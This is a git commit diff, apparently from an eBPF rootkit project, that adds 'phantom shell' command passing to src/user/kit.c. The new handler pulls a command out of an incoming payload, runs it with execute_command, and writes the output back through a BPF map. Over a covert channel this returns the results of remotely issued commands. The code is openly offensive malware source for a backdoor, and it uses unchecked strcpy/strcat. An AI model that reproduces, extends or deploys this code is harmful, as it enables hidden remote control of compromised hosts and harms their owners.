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Completed command passing for phantom shell

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h3xduck
2022-05-15 14:44:16 -04:00
parent ad4f9b2504
commit d509f20974
11 changed files with 3796 additions and 2953 deletions
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34
src/user/kit.c
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@@ -144,10 +144,42 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
printf("Failed to read the shared map\n");
return -1;
}
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
printf("Pre value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
data.active = e->bps_data.active;
data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port;
if(strncmp(e->bps_data.payload, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))!=0){
//Means that we invoked the command with another payload, thus this is not the first call
//We are tasked with first trying to execute the command
printf("Executing requested command: \n%s\n", e->bps_data.payload);
char *p;
char* buf = calloc(4096, sizeof(char));
strcpy(buf, e->bps_data.payload);
p = strtok((char*)buf, "#");
p = strtok(NULL, "#");
if (p) {
//printf("Executing command: %s\n", p);
char *res = execute_command((char*)p);
char *response = calloc(4096, sizeof(char));
if(res==NULL){
strcpy(response, CC_PROT_ERR);
}else{
strcpy(response, CC_PROT_PHANTOM_COMMAND_RESPONSE);
strcat(response, res);
}
//printf("Answering to phantom shell: \n%s\n", response);
memcpy(data.payload, response, 64);
free(response);
free(buf);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{
printf("Failed to parse command\n");
return -1;
}
}
//Init connection with phantom shell
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);